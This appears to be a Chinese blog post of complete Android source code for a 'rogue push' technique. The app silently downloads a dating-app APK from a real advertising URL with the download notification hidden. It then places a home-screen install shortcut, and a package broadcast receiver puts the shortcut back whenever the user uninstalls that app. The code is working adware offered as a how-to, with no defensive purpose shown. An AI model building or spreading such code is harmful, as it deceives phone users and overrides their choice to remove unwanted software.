Activity
public class MainActivity extends Activity {
private DownloadCompleteReceiver receiver;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
TextView textView = new TextView(this);
textView.setText("流氓推送__聪明反被聪明误");
setContentView(textView);
if (Utils.isAppInstalled(this, Utils.PACKAGE_NAME)) {//已安装，删除图标
Log.i("bqt", "已安装，删除图标");
Utils.deleteShortCut(this, Utils.getYueLoveIntent());
} else { //未安装
File f = new File(Utils.FILE_PATH_ABSOLUTE, Utils.FILE_NAME);
if (!f.exists()) {//没有下载
Log.i("bqt", "准备下载");
if (receiver == null) {
receiver = new DownloadCompleteReceiver();
IntentFilter intentFilter = new IntentFilter();
intentFilter.addAction(android.app.DownloadManager.ACTION_DOWNLOAD_COMPLETE);//下载完成的动作
registerReceiver(receiver, intentFilter);
}
Utils.downLoadFile(this, Utils.URL);
} else {//已下载，创建快捷方式
Log.i("bqt", "创建快捷方式");
Utils.createShortCut(this, Utils.getYueLoveIntent());
}
}
}
@Override
protected void onDestroy() {
super.onDestroy();
if (receiver != null) {
unregisterReceiver(receiver);
receiver = null;
}
}
}
应用安装卸载广播
public class PackageBroadcastReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
//Broadcast Action: A new application package has been installed on the device. The data contains the name of the package.
//新安装的应用接收不到此广播，也即自身安装后自身接收不到；卸载应用的广播也一样，把一个应用卸载后它就收不到卸载广播了
if (intent.getAction().equals(Intent.ACTION_PACKAGE_ADDED)) {//android.intent.action.PACKAGE_ADDED
String packageName = intent.getDataString();
Log.i("bqt", "安装了【" + packageName + "】包名的程序");
if (packageName.equals(Utils.PACKAGE_NAME_FORMAT)) {
Utils.deleteShortCut(context, Utils.getYueLoveIntent());
}
}
//An existing application package has been removed from the device. The data contains the name of the package.
if (intent.getAction().equals(Intent.ACTION_PACKAGE_REMOVED)) {//android.intent.action.PACKAGE_REMOVED
String packageName = intent.getDataString();
Log.i("bqt", "卸载了【" + packageName + "】包名的程序");
if (packageName.equals(Utils.PACKAGE_NAME_FORMAT)) {
Utils.createShortCut(context, Utils.getYueLoveIntent());
}
}
}
}
下载完成广播
public class DownloadCompleteReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
long id = intent.getLongExtra(DownloadManager.EXTRA_DOWNLOAD_ID, 0);
if (intent.getAction().equals(DownloadManager.ACTION_DOWNLOAD_COMPLETE)) {
Log.i("bqt", "编号 " + id + " 的任务已经下载完成！");
Utils.createShortCut(context, Utils.getYueLoveIntent());
}
}
}
工具类
public class Utils {
/**安装包下载路径，下载后存放的路径、文件名*/
public static final String URL = "http://api.95yueba.com/app/advert/down.php?channel=ai00002&from_type=d725d6c7306f2fbaea543c3138f677bd";
public static final String ICON_NAME = "寻爱";//图标名称
public static final String FILE_NAME = "寻爱.apk";//下载的文件名称
public static final String FILE_PATH_SHORT = "/95xiu/game_test";//相对路径
public static final String FILE_PATH_ABSOLUTE = Environment.getExternalStorageDirectory().getAbsolutePath() + FILE_PATH_SHORT;//绝对路径
public static final String PACKAGE_NAME = "com.lokinfo.seeklove";//包名
public static final String PACKAGE_NAME_FORMAT = "package:" + PACKAGE_NAME;//加上前缀的包名
/**下载文件*/
public static void downLoadFile(Context mContext, String url) {
android.app.DownloadManager.Request request = new android.app.DownloadManager.Request(Uri.parse(url))//路径
.setNotificationVisibility(android.app.DownloadManager.Request.VISIBILITY_HIDDEN)//隐藏
.setAllowedNetworkTypes(android.app.DownloadManager.Request.NETWORK_WIFI)//仅WIFI下载
.setDestinationInExternalPublicDir(FILE_PATH_SHORT, FILE_NAME);//要使用相对路径
((android.app.DownloadManager) mContext.getSystemService(Context.DOWNLOAD_SERVICE)).enqueue(request);
}
/**创建快捷方式*/
public static void createShortCut(Context mContext, Intent intent) {
if (isExistShutCut(mContext, ICON_NAME)) return;
Intent shortcutintent = new Intent("com.android.launcher.action.INSTALL_SHORTCUT");
shortcutintent.putExtra("duplicate", false);// 是否可以重复放置shortcut，不一定有效
shortcutintent.putExtra(Intent.EXTRA_SHORTCUT_NAME, ICON_NAME);//名称
Bitmap iconBitmap = drawable2Bitmap(getApkIcon(mContext, FILE_PATH_ABSOLUTE + File.separator + FILE_NAME));
shortcutintent.putExtra(Intent.EXTRA_SHORTCUT_ICON, iconBitmap);//图标
shortcutintent.putExtra(Intent.EXTRA_SHORTCUT_INTENT, intent);//动作
mContext.sendBroadcast(shortcutintent);
}
/**删除快捷方式*/
public static void deleteShortCut(Context mContext, Intent intent) {
Intent shortcutIntent = new Intent("com.android.launcher.action.UNINSTALL_SHORTCUT");
shortcutIntent.putExtra(Intent.EXTRA_SHORTCUT_NAME, ICON_NAME);
shortcutIntent.putExtra(Intent.EXTRA_SHORTCUT_INTENT, intent);//删除时使用的Intent要和创建时的一致才可以
mContext.sendBroadcast(shortcutIntent);
}
/**判断快捷图标是否在数据库中已存在（不一定可靠）*/
public static boolean isExistShutCut(Context context, String name) {
boolean isExist = false;
int version = android.os.Build.VERSION.SDK_INT;
Uri uri;
if (version < 8) uri = Uri.parse("content://com.android.launcher.settings/favorites");
else uri = Uri.parse("content://com.android.launcher2.settings/favorites");
Cursor c = context.getContentResolver().query(uri, new String[] { "title", "iconResource" }, "title=?", new String[] { name }, null);
if (c != null) {
if (c.getCount() > 0) isExist = true;
c.close();
}
return isExist;
}
/**获取Intent*/
public static Intent getYueLoveIntent() {
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setDataAndType(Uri.parse("file://" + FILE_PATH_ABSOLUTE + File.separator + FILE_NAME), "application/vnd.android.package-archive");
return intent;
}
/**获取手机所有已安装程序的包名*/
public static List<String> getAppInstalledPackages(Context mContext) {
PackageManager pm = mContext.getPackageManager();
List<PackageInfo> pinfos = pm.getInstalledPackages(0);
List<String> pgNames = new ArrayList<String>();
for (PackageInfo pinfo : pinfos) {
pgNames.add(pinfo.packageName);
}
return pgNames;
}
/**判断App是否已经安装*/
public static boolean isAppInstalled(Context mContext, String packageName) {
return getAppInstalledPackages(mContext).contains(packageName);
}
/**获取APK文件中图标 */
public static Drawable getApkIcon(Context mContext, String apkPath) {
PackageManager pm = mContext.getPackageManager();
PackageInfo info = pm.getPackageArchiveInfo(apkPath, PackageManager.GET_ACTIVITIES);
if (info != null) {
ApplicationInfo appInfo = info.applicationInfo;
appInfo.sourceDir = apkPath;
appInfo.publicSourceDir = apkPath;
try {
return appInfo.loadIcon(pm);
} catch (OutOfMemoryError e) {
Log.e("ApkIconLoader", e.toString());
}
}
return mContext.getDrawable(R.drawable.ic_launcher);
}
/**将Drawable转化为Bitmap*/
public static Bitmap drawable2Bitmap(Drawable drawable) {
if (drawable instanceof BitmapDrawable) return ((BitmapDrawable) drawable).getBitmap();
Bitmap.Config config = drawable.getOpacity() != PixelFormat.OPAQUE ? Bitmap.Config.ARGB_8888 : Bitmap.Config.RGB_565;
Bitmap bitmap = Bitmap.createBitmap(drawable.getIntrinsicWidth(), drawable.getIntrinsicHeight(), config);//指定宽高及格式
Canvas canvas = new Canvas(bitmap);//此Bitmap必须是mutable(可修改的)
drawable.setBounds(0, 0, drawable.getIntrinsicWidth(), drawable.getIntrinsicHeight());
drawable.draw(canvas);//把drawable画到canvas中。Draw in its bounds (set via setBounds) respecting根据 optional可选的 effects
return bitmap;
}
}
清单文件
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.bqt.test" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="16" android:targetSdkVersion="21" /> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="com.android.launcher.permission.INSTALL_SHORTCUT" /> <uses-permission android:name="com.android.launcher.permission.UNINSTALL_SHORTCUT" /> <uses-permission android:name="android.permission.DOWNLOAD_WITHOUT_NOTIFICATION" /> <uses-permission android:name="com.android.launcher.permission.READ_SETTINGS" /> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" > <activity android:name=".MainActivity" android:label="MainActivity" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <receiver android:name=".PackageBroadcastReceiver" > <intent-filter> <action android:name="android.intent.action.PACKAGE_ADDED" /> <action android:name="android.intent.action.PACKAGE_REMOVED" /> <data android:scheme="package" /> </intent-filter> </receiver> </application> </manifest>
附件列表
时间： 2024-11-05 23:35:04